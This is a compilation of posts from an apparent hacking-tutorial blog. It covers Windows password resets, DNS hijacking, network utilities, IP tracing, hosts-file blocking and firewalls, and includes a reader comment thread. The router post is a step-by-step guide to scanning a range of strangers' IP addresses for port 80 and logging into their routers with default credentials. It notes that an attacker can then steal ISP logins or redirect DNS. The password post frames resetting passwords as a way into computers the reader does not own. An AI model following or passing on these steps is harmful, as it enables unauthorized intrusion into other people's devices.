How to Hack Windows Administrator Password

This post will show you how to hack Windows administrator password at times when you forget it or when you want to gain access to a computer for which you do not know the password.

Most of us have experienced a situation where in we need to gain access to a computer which is password protected or at times we may forget the administrator password without which it becomes impossible to log in to the computer. So, if you are somewhat in a same kind of situation, here is an excellent hack using which you can reset the password or make the password empty (remove the password) so that you can gain administrator access to the computer.

Hacking the Windows Admin Password:

You can do this with a small tool called  Offline NT Password & Registry Editor. This utility works offline, that means you need to shut down your computer and boot off your using a floppy disk, CD or USB device (such as pen drive). The tool has the following features:

• You do not need to know the old password to set a new one.
• This tool can detect and unlock locked or disabled out user accounts!
• There is also a registry editor and other registry utilities that works under linux/unix, and can be used for other things than password editing.

How it Works?

Most Windows operating systems stores the login passwords and other encrypted passwords in a file called sam (Security Accounts Manager). This file can be usually found in \windows\system32\config. This file is a part of Windows registry and remains inaccessible as long as the OS is active. Hence, it is necessary that you boot off your computer and access this sam file via the boot menu. This tool intelligently gains access to this file and will reset/remove the password associated with administrator or any other account.

The download link for both CD and floppy drives along with the complete instructions is given below:

Offline NT Password & Reg Editor Download

It is recommended that you download the CD version of the tool since the floppy drive is outdated or doesn’t exist in today’s computer. After the download, you’ll get a bootable image which you need to burn it onto a blank CD. Now, boot your computer from this CD and follow the screen instructions to reset the password.

Another Simple Way to Reset Non-Administrator Account Passwords:

Here is another simple way through which you can reset the password of any non-administrator accounts. The only requirement for this is that you need to have administrator privileges. Here is a step-by-step instruction to accomplish this task:

1. Open the command prompt (Start -> Run -> type cmd -> Enter)
2. Now type net user and hit Enter
3. Now the system will show you a list of user accounts on the computer. Say for example, you need to reset the password of the account by name John, then do as follows:
4. Type net user John * and hit Enter. Now, the system will ask you to enter the new password for the account. That’s it. Now you’ve successfully reset the password for John without knowing his old password.

So, in this way you can reset the password of any Windows account at times when you forget it so that you need not re-install your OS for any reason. I hope this helps.

How to Hack an Ethernet ADSL Router

Almost half of the Internet users across the globe use ADSL routers/modems to connect to the Internet. However, most of them are unaware of the fact that it has a serious vulnerability in it which can easily be exploited by anyone with a basic knowledge of computer. In this post, I will show you how to hack an Ethernet ADSL router by exploiting the common vulnerability that lies in it.

Every router comes with a username and password using which it is possible to gain access to the router settings and configure the device. The vulnerability actually lies in the Default username and password that comes with the factory settings. Usually the routers come preconfigured from the Internet Service provider and hence the users do not bother to change the password later.

This makes it possible for the attackers to gain unauthorized access to the router and modify its settings using a common set of default usernames and passwords. Here is how you can do it. Before you proceed, you need the following tool in the process:

Angry IP Scanner

Hacking the ADSL Router:

Here is a detailed information on how to exploit the vulnerability of an ADSL router:

1. Go to www.whatismyipaddress.com. Once the page is loaded, you will find your IP address. Note it down.
2. Open Angry IP Scanner, here you will see an option called IP Range: where you need to enter the range of IP address to scan for.
Suppose your IP is 117.192.195.101, you can set the range something as 117.192.194.0 to 117.192.200.255 so that there exists at least 200-300 IP addresses in the range.
3. Go to Tools->Preferences and select the Ports tab. Under Port selection enter 80 (we need to scan for port 80). Now switch to the Display tab, select the option “Hosts with open ports only” and click on OK.

I have used Angry IP Scanner v3.0 beta-4. If you are using a different version, you need to Go to Options instead of Tools
4. Now click on Start. After a few minutes, the IP scanner will show a list of IPs with Port 80 open as shown in the below image:

5. Now copy any of the IP from the list, paste it in your browser’s address bar and hit enter. A window will popup asking for username and password. Since most users do not change the passwords, it should most likely work with the default username and password. For most routers the default username-password pair will be admin-admin or admin-password.

Just enter the username-password as specified above and hit enter. If you are lucky you should gain access to the router settings page where you can modify any of the router settings. The settings page can vary from router to router. A sample router settings page is shown below:

If you do not succeed to gain access, select another IP from the list and repeat the step-5. At least 1 out of 5 IPs will have a default password and hence you will surely be able to gain access.

What can a Hacker do by Gaining Access to the Router Settings?

By gaining access to the router settings, it is possible for an attacker to modify any of the router settings which results in the malfunction of the router. As a result the target user’s computer will be disconnected from the Internet. In the worst case the attacker can copy the ISP login details from the router to steal the Internet connection or even hijack the DNS by pointing it at a rouge DNS server. If this happens, the victim will have to reconfigure/reset the router settings in order to bring it back to normal.

The Verdict:

If you are using an ADSL router to connect to the Internet, it is highly recommended that you immediately change your password to prevent any such attacks in the future. Who knows, you may be the next victim of such an attack.

Since the configuration varies from router to router, you need to contact your ISP for details on how to change the password for your model.

Warning!

All the information provided in this post are for educational purposes only. Please do not use this information for illegal purposes.

DNS Hijacking: What it is and How it Works

DNS hijacking (sometimes referred to as DNS redirection) is a type of malicious attack that overrides a computer’s TCP/IP settings to point it at a rogue DNS server, thereby invalidating the default DNS settings. In other words, when an attacker takes control of a computer to alter its DNS settings, so that it now points to a rogue DNS server, the process is referred to as DNS hijacking.

As we all know, the “Domain Name System (DNS)” is mainly responsible for translating a user friendly domain name such as “google.com” to its corresponding IP address “74.125.235.46″. Having a clear idea of DNS and its working can help you better understand what DNS hijacking is all about. If you are fairly new to the concept of DNS, I would recommend reading my previous post on How Domain Name System Works.

How DNS Hijacking Works?

As mentioned before, DNS is the one that is responsible for mapping the user friendly domain names to their corresponding IP addresses. This DNS server is owned and maintained by your Internet service provider (ISP) and many other private business organizations. By default, your computer is configured to use the DNS server from the ISP. In some cases, your computer may even be using the DNS services of other reputed organizations such as Google. In this case, you are said to be safe and everything seems to work normally.

But, imagine a situation where a hacker or a malware program gains unauthorized access to your computer and changes the DNS settings, so that your computer now uses one of the rogue DNS servers that is owned and maintained by the hacker. When this happens, the rogue DNS server may translate domain names of desirable websites (such as banks, search engines, social networking sites etc.) to IP addresses of malicious websites. As a result, when you type the URL of a website in the address bar, you may be taken to a fake website instead of the one you are intending for. Sometimes, this can put you in deep trouble!

What are the Dangers of DNS Hijacking?

The dangers of DNS hijacking can vary and depend on the intention behind the attack. Many ISPs such as “OpenDNS” and “Comcast” use DNS hijacking for introducing advertisements or collecting statistics. Even though this can cause no serious damage to the users, it is considered as a violation of RFC standards for DNS responses.

Other dangers of DNS hijacking include the following attacks:

Pharming: This is a kind of attack where a website’s traffic is redirected to another website that is a fake one. For example, when a user tries to visit a social networking website such as Facebook.com he may be redirected to another website that is filled with pop-ups and advertisements. This is often done by hackers in order to generate advertising revenue.

Phishing: This is a kind of attack where users are redirected to a malicious website whose design (look and feel) matches exactly with that of the original one. For example, when a user tries to log in to his bank account, he may be redirected to a malicious website that steals his login details.

How to Prevent DNS Hijacking?

In most cases, attackers make use of malware programs such as a trojan horse to carry out DNS hijacking. These DNS hijacking trojans are often distributed as video and audio codecs, video downloaders, YoTube downloaders or as other free utilities. So, in order to stay protected, it is recommended to stay away from untrusted websites that offer free downloads. The DNSChanger trojan is an example of one such malware that hijacked the DNS settings of over 4 million computers to drive a profit of about 14 million USD through fraudulent advertising revenue.

Also, it is necessary to change the default password of your router, so that it would not be possible for the attacker to modify your router settings using the default password that came with the factory setting. For more details on this topic you can read my other post on How to Hack an Ethernet ADSL Router.

Installing a good antivirus program and keeping it up-to-date can offer a great deal of protection to your computer against any such attacks.

What if you are already a victim of DNS hijacking?

If you suspect that your computer is infected with a malware program such as DNSChanger, you need not panic. It is fairly simple and easy to recover from the damage caused by such programs. All you have to do is, just verify your current DNS settings to make sure that you are not using any of those DNS IPs that are blacklisted. Otherwise re-configure your DNS settings as per the guidelines of your ISP.

How to Enable Telnet Feature in Vista and Windows 7

Most of you may be familiar with the telnet command. It is one of the well known Windows IP Utilities. If you are using a Windows XP computer, the telnet command is available by default. However, in case of Vista and Windows 7, the telnet command is disabled by default.

So, when you try to use the telnet command in Windows Vista/7 you get the following error message:

‘telnet’ is not recognized as an internal or external command, operable program or batch file.

You get this error because unlike Windows XP, Vista and Windows 7 have the telnet feature disabled by default. So, in order to fix this issue, you will have to manually enable/turn on the telnet feature.

Here is a step-by-step procedure to turn on the telnet feature in Vista and Windows 7:

1. Go to the Control Panel.
2. Click on the sub heading “Uninstall a program” under the main heading Programs.
   NOTE: IF you are in the Classic View click on Programs and Features.
3. In the left panel under the Tasks select the option Turn Windows features on or off.
4. Now, a new window will open up. In this new window, select the following options:
   Telnet Client
   Telnet Server (optional)
5. After selecting click on OK.

Now, wait for few minutes till the telnet feature is installed. Once the telnet feature is installed you can go to the command prompt and use the telnet command. System restart is not required.

I hope this article has helped you. Pass your comments.

Windows TCP/IP Utilities

The following are the IP utilities available in Windows that help in finding out the information about IP Hosts and domains. These are the basic IP commands that every beginner in the field of hacking must know!

Please note that the the term Host used in this article may also be assumed as a Website for simple understanding purpose.

1. PING

PING is a simple application (command) used to determine whether a host is online and available. PING command sends one or more ICMP “Echo message” to a specified host requesting a reply. The receiver (Target Host) responds to this ICMP “Echo message” and returns it back to the sender. This confirms that the host is online and available. Otherwise the host is said to be unavailable.

Syntax: C:\>ping gohacking.com

2. TELNET

Telnet command is used to connect to a desired host on a specified port number. Just like a house having several doors, a host or a server has different ports running different services. For example port 80 runs HTTP, port 23 runs TELNET while port 25 SMTP. Like this there are several ports on a server through which it is possible for a remote client to establish a connection.

For a connection to be established, the port has to be open. For example, in the following command, we are trying to establish a connection with the Yahoo server on port 25.:

Syntax: C:\>telnet yahoo.com 25
C:\>telnet yahoo.com

The default port number is 23. When the port number is not specified the default number is assumed.

NOTE: If you are using Vista or Windows 7, Telnet feature may not be available by default. To enable it, you can refer my other post: How to enable Telnet feature in Vista and Windows 7?.

3. NSLOOKUP

Many times, we think about finding out the IP address of a given site. Say for example google.com, yahoo.com, microsoft.com etc. But how to do this? There are several websites out there that can be used to find out the IP address of any given website. However, in the Windows operating itself, we have an inbuilt tool to do this job for us. It is called “nslookup”.

This tool can be used for resolving a given domain name into its IP address (determine the IP of a given site name). Not only this, it can also be used for reverse IP lookup. That is, if the IP address is given it determines the corresponding domain name for that IP address.

Syntax: C:\>nslookup google.com

4. NETSTAT

The netstat command can be used to display the current TCP/IP network connections. For example, the following “netstat” command displays all the currently established connections and their corresponding listening port numbers on your computer.

Syntax: C:\>netstat -a
Type “Ctrl+Z” to exit.

This command can be used to determine the IP address/Host names of all the applications connected to your computer. If a hacker is connected to your system even the hacker’s IP is displayed. So, the “netstat” command can be used to get an idea of all the active connections of a given system.

NOTE: In order to obtain help on any given command such as its syntax, attributes etc., just type the “command-name /?” to obtain usage details on it. For example, to obtain help on “netstat” command just type: netstat /? and hit enter.

How to Become a Hacker

Most of us are very curious to learn Hacking and want to become a Hacker, but don’t know where to start. If you are in a similar situation, then this article will most likely guide you to reach your goal.

On a regular basis, I get a lot of emails where people ask me ”How to Become a Hacker”. In fact, this question is not an easy one to answer, since hacking is not an art that can be mastered overnight. It requires knowledge, skills, creativity, dedication and of course the TIME. Everyone can become a hacker provided they learn it from the basics. So, if you wanna become a hacker, then all you need is a good source of knowledge that will guide you through various concepts of hacking from the basics.

What Skills do I Need to Become a Hacker?

In simple words, there is no magic to become a  Hacker. But, like anything else that is worthwhile, it takes dedication and willingness to learn. It is most important to have a basic knowledge of the topics such as operating system basics and it’s working, computer networks, computer security and of course programming. However, you need not be the expert in each or any of those topics mentioned. As you gain the basic knowledge of various branches of computer, you can choose any one as your favorite and advance in it.

What is the Best Way to Become a Hacker?

As said earlier, the best way to become a hacker is to start from the basics. You will have to master the basics to build a strong foundation. And once this is done, you’ll be in a position to explore new ideas and start thinking like a Hacker.

There exists tons of books on the market that will teach you hacking, but unfortunately, it requires a set of pre-established skills and knowledge to understand the concepts explained in those books. Also, most of them are not suitable for the beginners who doesn’t know anything about hacking.

Anyhow, I have found an excellent Book for the Beginners that will teach you hacking from the basics. This book is the first step to fulfil your dream of becoming a hacker. When I first read this book, I myself was surprised at how simple and easy it was laid out. I decided to introduce this book for all those enthusiasts as it can be the right source for the beginners who are interested to learn hacking from the basics. The good thing about this book is that, any one can understand the concepts presented here, without the need for any prior knowledge. This book is called:

This book will take you from the core to the top. It will tell you how to hack in simple steps. Everything in this book is presented in a simple and effective manner. It is a great source for the beginner who would like to become a hacker. This will install a Hacker’s Mindset on you.

The following skills are uncovered in this book:

You will learn all the hacker underground tricks and learn to apply them in real world situations.

1. You will be put into a hacker mindset so that you will learn to think like a Hacker.
2. By learning how a hacker thinks and acts, you will be able to protect yourself from future hack attacks.
3. You will acquire knowledge nonexistent to 99.9% of the people in the world!
4. This underground handbook may get you interested in pursuing a career as an Ethical Hacker.
5. This book is of great value for all those who have a dream to become a Hacker.

So what are you waiting for? Go grab your copy now from the following link:

Download Hacker’s Underground Handbook Now!

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Wait… This is not the end. Rather it is just the beginning of your journey. To become a hacker, all you need is dedication and hard work. I wish you all the best for your future success.

HACKING BASICS, HOW-TO GUIDES 67 Comments How to Trace any IP AddressIn my earlier post, I had discussed about How to find the IP address of a remote computer. After you obtain this IP address, it is necessary to trace it back to the source. So, in this post I will show you how to trace any IP address back to its source. How to Trace the IP Address Back to the Source? In fact, tracing an IP address back to its location is a lot simpler than what many people imagine. There exists many online tools using which you can accomplish this job. One of my favorite site is IP2Location.com. Just go to http://www.ip2location.com/demo.aspx and enter the IP address that you want to trace in the dialog box and click on “Find Location”‘. With just a click of a button you can find the following information for any given IP address: Country in which the IP is located City to which the IP address belongs to Latitude/Longitude of the IP’s location Zip Code of the region to which the IP belongs to Time Zone associated with the IP Name of the ISP to which the IP address belong to Internet Speed of the computer associated with the IP Weather Station associated with the region of the IP Domain name associated with the IP address A sample snapshot of the results from ip2location.com is given below: ip2location_results You can also visually trace route any IP address back to its location. For this, just visit http://www.yougetsignal.com/tools/visual-tracert/ and enter the IP you want to trace in the dialog box and hit the “Proxy Trace” button. Wait for few seconds and the visual trace route tool displays the path Internet packets traverse to reach a specified destination. Hope this helps. Please pass you comments. You may also like: How to Trace Mobile Numbers Back to the Caller How to Create Your Own Customized Run Commands Reverse Cell Phone Lookup to Trace the Caller Details How to Alter Windows Product ID GET UPDATES VIA EMAIL Go Hacking on Facebook CATEGORIES CELL PHONE HACKS EMAIL HACKING ENCRYPTION GOOGLE HACKS HACKING BASICS HOW STUFFS WORK HOW-TO GUIDES INTERNET SECURITY NETWORK HACKS NEWS & UPDATES PASSWORD HACKING PROGRAMMING SOFTWARE REVIEW WEB HACKING WINDOWS HACKS RSS Icon 26,522 Subscribers Twitter Icon 426 Followers Facebook Icon 2,948 Fans Go Hacking on Google+ RECENT POPULAR What is Doxing and How it is Done? What is Doxing and How it is Done? In the modern world, Internet has become a wonderful place to gain knowledge, exchange ideas, ... Beware of Password Hacking Scams and Fake Tutorials Beware of Password Hacking Scams and Fake Tutorials In the era of Internet, emails and social networking have taken a prominent role ... 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How Domain Name System (DNS) Works How Domain Name System (DNS) Works In the world of Internet and the area of computer networks, you will often ... 67 Comments faraz October 11, 2009 at 4:20 PM hey thanx for d tricks. they really work…. good job dude…. rexter October 13, 2009 at 1:56 PM i found some ips through ur ip script…it’s really working… but whenever i want to trace it through http://www.whatisyourip.com, it just shows the router’s location, not his original working place…like country-INDIA,region-west bengal,city-kolkata,isp-BSNL…is it possible to trace the actual host…and if he is using a dynamic ip… plz hlp… Srikanth October 15, 2009 at 6:21 PM @ rexter It’s showing the proper ISP and other details. It should be correct. BOSS October 15, 2009 at 4:23 PM It fails to provide zip nd area code for my own ip.. Y so.. BOSS October 15, 2009 at 4:27 PM What’s the use for tracking the location.. plz explain the result frm 2nd method… Srikanth October 15, 2009 at 5:59 PM @ BOSS In the event of cyber crimes, the IT security experts will trace the IP address of the culprit to obtain his details such as the ISP (Interner Service Provider) and the country. From then on they can get the exact address of the culprit by contacting the ISP. official hacker October 18, 2009 at 10:59 AM dude u rock its working ali November 3, 2009 at 3:41 PM your website is very good. i want learning security information. and hacking. please help me. thanks Shashank November 5, 2009 at 1:02 AM ur great bro……… abhishek November 14, 2009 at 5:15 PM JUST GREAT!!!!!!!!!!!!!………….. costaa December 8, 2009 at 12:45 PM when i tried tracing out an IP using “ip2location.com” it says private line what does that mean? Prince December 9, 2009 at 9:24 PM Hi srikant.Plz teach me hacking yahoo password when chatting with someone..Plz teach from zero level jose December 15, 2009 at 10:01 PM sir site s very nice…… pls send some basic tips abt hacking to my id Sony December 28, 2009 at 7:20 AM Hi author srikanth,are the securities of the google so tight? is nt it easy to hack passwords of gmail and orkut? Desherif January 3, 2010 at 1:57 PM Thanks i’ve seen alot of your works, its amazeee suzain January 8, 2010 at 8:55 PM Amazing site for learning. Pls provide more information about it. Aayush February 3, 2010 at 4:14 PM it is working dude….. can you tell me how to hack websites Stunningbasil February 9, 2010 at 8:41 PM it was nice . please come up with more such tips to hack. please give me some advice on how to secure an ip address. SreeHari February 23, 2010 at 2:55 PM site is superb…. but .. when i tried tracing out an IP using “ip2location.com” it says private line what does that mean? ASHI March 10, 2010 at 9:04 PM NICE TIPS DEAR ……PLZ GIVE US SOME MORE…….. divya March 12, 2010 at 3:51 AM heyyyyyyyyy thank you sree itz working really nice D O O M March 14, 2010 at 3:02 PM hi dude.. i have seen ur many tips… its fantastic…may i know ur profession plz…. nirankush March 19, 2010 at 10:53 PM some chinese guy 4m beijing is trying to hack my computer since last 10months……although my kaspersky antivirus blocks it. but i am afraid if that person is accessing my personal information i.e., email account info & other such things………can he hack any of my prsnl info via my ip address??? Srikanth April 18, 2010 at 8:10 PM @ nirankush You need not worry as far as you have a good antivirus and a properly configured firewall. Use kasperspy internet security instead of just the antivirus. This should make your PC hackproof. Raj March 26, 2010 at 12:47 AM brilliant work. keep going HIREN SHAH March 26, 2010 at 10:29 PM HEY ITS WORK thanks very much i am refering your site from last one months n learned many of the things thanks n thanks lot hope u will help us all by giving all such tricks n by sharing a knowledge thankyou very much. HIREN SHAH March 26, 2010 at 11:54 PM Hey its really works thanks teja March 29, 2010 at 7:49 AM superb! website! teja March 31, 2010 at 7:30 PM hey how 2 find IP of our own network? Thanks….. Tejsingh Kaurav April 3, 2010 at 5:54 PM thanks Dear.. This really works Ram Dutt Shukla April 5, 2010 at 2:16 PM Hey It’s really great wilbert April 9, 2010 at 5:55 AM sir pls teach me or give me some info about tracing ip add.and remote the other computer that she will never notice or without acquiring any password…i need to know what shes doing in her computer. Safdar April 19, 2010 at 10:11 PM Srikanth dear i am very very thankfull to you that its work very very good. i dont know how can i say you “thank you” nitesh May 10, 2010 at 10:36 PM very………..nice your website mind gloving very helpful your site thanks BOND May 16, 2010 at 4:05 PM ur website is really helpful in understanding internet security. I wanna ask u dat how can i trace private or dynamic ip address?it sometime shows “dis ip cant be traced.it is prive ip address”..plz reply soon.. kushagra singh May 16, 2010 at 4:59 PM hey!!!I have got som IP adresses by the trick u told previously..but as soon as i trace them it says the original ip(which i entered)which i entered is invalid….in ip2 location .com Ali May 22, 2010 at 10:33 PM Hi once again, What set of numbers would be use as an IP to trace the system (user)? I mean, give example of set of numbers to paste to the given site to trace the identity of the owner? Sami May 30, 2010 at 11:35 PM Nice Hacking Game To Me…. Nice Site of All Hacker Learners… bhanu June 8, 2010 at 12:29 PM hi dude tell me hw to gt the ip of any remote computer Rakesh June 8, 2010 at 3:02 PM This shows public ip doesn’t it???? Dinesh June 13, 2010 at 2:54 PM I like this Website very much at a sight.I want to learn this process of hacking ,would you help me? Anurag Anand June 15, 2010 at 3:42 PM Hi Srikanth!! I want to know is there any way to get the IP address of a website. Srikanth June 16, 2010 at 12:09 PM @ Anurag Anand Goto comand prompt and type the following command to get the IP of any website C:/>nslookup anywebsite.com You will see it’s ip address! HIREN SHAH June 16, 2010 at 1:30 PM it IS NT DONE I HAVE TYPED IN CMD C:/>NSLOOKUP YAHOO.COM (AND HIT ENTER) IT SAYS c is not recognised for internal or external command PLZ help me how does it work plz Srikanth June 16, 2010 at 10:17 PM @ HIREN SHAH Just type nslookup yahoo.com and not C:/>nslookup yahoo.com. peru June 16, 2010 at 8:00 PM Srikanth dear i am very very thankfull to you that its work very very good. i dont know how can i say you “thank you” shaurya June 20, 2010 at 10:43 PM hi srikanth! When i am tracing my ip address on the given website it is showing incorrect region and city. My isp is DISHNET WIRELESS LIMITED…is it thats why? Compufreaks June 22, 2010 at 10:44 PM Suppose i have traced an IP address but how can i know that it is real IP Address not the proxy one…. Srikanth July 5, 2010 at 6:23 AM @ Compufreaks It is difficult to tell whether the IP is a proxy or the real one. However it is still possible to trace the proxy using proxy detecting services… rin June 24, 2010 at 11:34 AM very nice website:) HASTHIS July 6, 2010 at 10:00 AM Thanks for sharing this dude ive been looking for this type of thing for a long time Compufreaks July 19, 2010 at 7:13 PM @Srikanth thanks for your response…. :) ambrish July 30, 2010 at 7:37 PM hiiiii sir, its not showing private ip addresses…….it writes “its a private ip address…….how 2 trace a private ip address????? reva July 31, 2010 at 3:31 AM SRIKANTH Can i find the IP address of another remote computer using a software like emailtackerpro ?? I tried it but it didn’t work.Could you please about these type of software that Are these types of softwares..trustworthy or fake ?? gelu August 12, 2010 at 2:18 PM hi, thanks fr ur info… i would like to know how to get others ip address…pls help me… angel August 23, 2010 at 1:10 AM Is there anyway to protect my privacy when using yahoo messenger. Or is there anyway to create an anonymous yahoo messenger account? derek August 23, 2010 at 9:42 PM Hi Sir, I am trying to trace an old IP address from about 5 years ago. The company that assigned the IP address said it only keeps them 6 months and then purges the system. Is there anyway to trace one back that far? LL August 26, 2010 at 7:13 PM I look at few mails send by my friend, and notice the IP address sometime differ, but my friend said all send from same computer, is this possible? purna October 19, 2010 at 12:07 PM its not providing d accurate info. the above link http://www.ip2location.com/demo.aspx i am from orissa but its providing west bengal calcutta can u plz provide me some othet site which provides accurate info. thanking you chandu October 30, 2010 at 7:16 PM hi this is my first comment LOL from now i am your big fan Prabuvirus November 1, 2010 at 6:13 PM Good Site with lot of info , Great Work ………………. SRI , srikanth December 5, 2010 at 11:45 AM ur simply great. after tracing others ip address how can i hack their computer what are the methods i should use.. reply me sir jay April 29, 2011 at 11:43 AM this website is really super and i get to know lots of things about hacking in recent days Pratik rath May 16, 2011 at 2:02 PM Cool dude! Daljeet singh February 2, 2012 at 11:16 PM ur post r really awesome !!!! Aravind February 6, 2012 at 8:59 PM hiii admn..thanks a loot for ur site..its really informative..i hav a small doubt after gng through ur posts..as d ip of d computer keeps changng frm time to time..can we always access r trace d system wid d ip obtained once,anytime thereafter..using that same ip? godwin February 21, 2012 at 4:37 PM can i still locate and track a laptop to its original location even if the owner change its default ip to another?

In my earlier post, I had discussed about How to find the IP address of a remote computer. After you obtain this IP address, it is necessary to trace it back to the source. So, in this post I will show you how to trace any IP address back to its source.

How to Trace the IP Address Back to the Source?

In fact, tracing an IP address back to its location is a lot simpler than what many people imagine. There exists many online tools using which you can accomplish this job. One of my favorite site is IP2Location.com.

Just go to http://www.ip2location.com/demo.aspx and enter the IP address that you want to trace in the dialog box and click on “Find Location”‘. With just a click of a button you can find the following information for any given IP address:

• Country in which the IP is located
• City to which the IP address belongs to
• Latitude/Longitude of the IP’s location
• Zip Code of the region to which the IP belongs to
• Time Zone associated with the IP
• Name of the ISP to which the IP address belong to
• Internet Speed of the computer associated with the IP
• Weather Station associated with the region of the IP
• Domain name associated with the IP address

A sample snapshot of the results from ip2location.com is given below:

You can also visually trace route any IP address back to its location. For this, just visit http://www.yougetsignal.com/tools/visual-tracert/ and enter the IP you want to trace in the dialog box and hit the “Proxy Trace” button. Wait for few seconds and the visual trace route tool displays the path Internet packets traverse to reach a specified destination. Hope this helps. Please pass you comments.

Block or Redirect Unwanted Websites Using HOSTS File

The hosts file is one of the interesting and useful feature of both Windows and Linux operating systems that provides many handy options in addressing network nodes. For instance, you can use the hosts file to block annoying ads, pop-ups, banners, porn sites, or even redirect one website to another.

In this post I will show you how to play around with the hosts file to accomplish some of the above mentioned jobs.

What is a hosts File?

The hosts file is just like any other computer file that is used by the operating system to map hostnames and domain names on to their corresponding IP addresses.

In other words, when you type “google.com” on your browser’s address bar, your computer will look for the hosts file to see if it contains the corresponding IP address for the domain name you typed (google.com). In case if no entry is present in the hosts file, the request is then passed on to the DNS (Domain Name System) server to obtain the IP address.

hosts File vs. DNS

When it comes to resolving the hostnames, the hosts file is given the first priority over the Domain Name System. In most cases, the hosts file remains unconfigured on the operating system and hence the DNS is used by the computer to resolve the domain names to their corresponding IP addresses.

However, if the hosts file is found to contain a valid entry for a given hostname or domain name, then this is picked up and used by the operating system.

Where is the hosts File Located?

Windows: In case of the Windows operating system, the hosts file is located at:

%systemroot%\system32\drivers\etc\hosts

NOTE: In most cases this should be: C:\Windows\System32\drivers\etc\hosts

Unix/Linux: In case of Linux it is located at:

/etc/hosts

How to Block a Website?

To block a specific website, all you have to do is just add a new entry for that site in the hosts file. I would prefer to backup the original file and create a new one instead of modifying it. So, if something goes wrong, you can just delete it and restore the original one! Well, here is a step-by-step procedure on how to create a new hosts file on Windows:

1. Go to “My Computer” and you should see the “Menu bar” on top. In case of Vista and Win 7, just click “Alt” to unhide the “Menu bar”.
2. Now in the menu bar, click on “Tools -> Folder Options”. In the “View” tab uncheck the option that says: “Hide extensions for known file types” and click on “OK”.

1. Open a new text pad (New Text Document.txt) and rename it to: hosts. You will get a pop-up message with a warning. Just click on “Yes”.
   Please note that the renamed file hosts should not have any extension such as hosts.txt.
2. Open the hosts file using the notepad. Now let us assume that you want to block the sites Facebook and Youtube on your computer. For this all you have to do is add the following lines to your hosts file:
   127.0.0.1       facebook.com
   127.0.0.1       www.facebook.com
   127.0.0.1       youtube.com
   127.0.0.1       www.youtube.com
   
   Each entry should be placed on an individual line. The IP address and the hostname should be separated by a space or a tab. In this way, you can block any given website by just pointing it to the IP address 127.0.0.1.
3. Navigate to %systemroot%\system32\drivers\etc. Here you should see the original hosts file, rename it to hosts_bak. Just copy and paste the new hosts file that you have created. That’s it. You’ve now successfully blocked those websites from loading on your computer.
   If you are using Vista/Win 7 you may have to take ownership of the original hosts file before renaming it.

How to Redirect a Website?

Suppose you want to redirect Friendster.com to Google.com, all you have to do is just add the following lines to your hosts file:

74.125.236.72       friendster.com
74.125.236.72       www.friendster.com

Here 74.125.236.72 is the IP address of Google.com. To find out the IP address of any given website, just go to command prompt and ping it. For example: ping google.com. You should get a ping response that displays the IP address as shown below:

From now on, whenever you type “friendster.com” on your browser, you will be redirected to “google.com”.

How does a hosts File work?

Whenever you block a website using the hosts file, you point it to the IP address 127.0.0.1 which in fact is the IP address of your own computer. In other words, the IP 127.0.0.1 points to your own computer and doesn’t exist outside.

So, whenever you type the URL of a website for which an entry is present in the hosts file, your computer will load the IP as 127.0.0.1 instead of the actual one and tries to establish a connection with this IP address (127.0.0.1) but fails. As a result the website doesn’t load at all.

The redirection of the website works by pointing the domain name of one website to the IP address of another website (as configured by the hosts file) instead of its original IP address. So, whenever you type friendster.com, it is pointed to Google.com’s IP address and thus, the Google page loads up instead of the actual page from friendster.com.

How to Block the Annoying Ads?

I have found a great solution to keep all the annoying ads, banners, pop-ups and other parasites at bay by using a pre-configured hosts called MVPS hosts file. This hosts file contains a long list of entries to block all those annoying ads and pop-ups that usually load while you are surfing the Internet. You can also receive regular updates on this to stay up-to-date. You can download MVPS hosts file from the link below:

Download MVPS hosts

If you are playing around with the hosts file and something goes wrong, just delete the hosts file itself and rename the original file from hosts_bak to hosts. This should bring back everything to normal. I hope this post on hosts file will help you block unwanted websites on your computer. Waiting for your comments.

How to Block Unwanted Emails

Do you want to block unwanted emails from your ex wife/husband? Do you want to block those annoying offers and newsletters that reach your inbox? Well, here is a way to block all those unwanted and annoying emails that you do not want to see or read!

In this post, I will show you a trick using which you can block individual email address or the whole domain from which you do not want the emails to come from.

Steps to Block Unwanted Emails from Your Account:

Here is a list of separate set of steps that you need to follow for each individual service provider:

For Gmail:

Here is how you can block emails for Gmail:

1. Log in to your account.
2. At the top-right corner, click on Settings.
3. Under Settings, click on Filters.
4. You’ll now see an option “Create a new filter“, click on it.
5. Now in the From field, enter the email address from which you do not want to receive the emails.
   For ex. you may enter john@gmail .com in the “From:” field to block all incoming emails from this address. However, if you want to block the whole domain, then use the following syntax: *@xyz.com. Now, all the incoming emails from the domain “xyz.com” will be blocked.
6. Click on Next Step, select the action you’d like to take on the blocked emails. You may select the option Delete it so that the blocked email is moved to trash. In case if you would like to unblock those emails, all you need to do is just delete the filter that you’ve created.

For Yahoo:

Here is how you can block unwanted emails for Yahoo:

1. Log in to your account.
2. At the top-right corner, click on Options.
3. A drop down menu appears, now click on More options.
4. In the left panel select the option Filters and click on create or edit filters.
5. Now click on Add.
6. In the next screen, give a name to your filter and in the From header field enter the email address that you want to block.

Fox ex. john@gmail.com or if you want to block an entire domain then just enter @xyz.com. Don’t enter *@xyz.com. Select the option Move the message to: Trash and click on Save Changes.

For Hotmail:

Here is how to do the same for Hotmail:

1. Log in to your account.
2. At the top-right corner, click on Options.
3. A drop down menu appears, now click on More options.
4. Click on Safe and blocked senders link under Junk e-mail.
5. Now click on Blocked senders.
6. Type in the email address that you want to block under blocked e-mail address or domain field.

For ex. Enter john@yahoo.com to block the individual email address or just enter xyz.com to block the entire domain.

That’s it. You no longer receive those annoying emails in your inbox. Keep your inbox clean and tidy. I hope this post helps. Pass your comments!

How Firewalls Work

If you have been using Internet on a regular basis or working in a large company and surf the Internet while you are at work, you must have surely come across the term firewall.

You might have also heard of people saying “firewalls protect their computer from web attacks and hackers” or “a certain website has been blocked by firewall in their work place”. If you have ever wondered to know what exactly is this firewall and how it works, here we go. In this post I will try to explain “How firewalls work” in layman’s terms.

How Firewalls Work?

Firewalls are basically a barrier between your computer (or a network) and the Internet (outside world). A firewall can be simply compared to a security guard who stands at the entrance of your house and filters the visitors coming to your place. He may allow some visitors to enter while denying others whom he suspects of being intruders. Similarly a firewall is a software program or a hardware device that filters the information (packets) coming through the Internet to your personal computer or a computer network.

Firewalls may decide to allow or block network traffic between devices based on the rules that are pre-configured or set by the firewall administrator. Most personal firewalls such as Windows firewall operate on a set of pre-configured rules that are most suitable under normal circumstances so that, the user need not worry much about configuring the firewall.

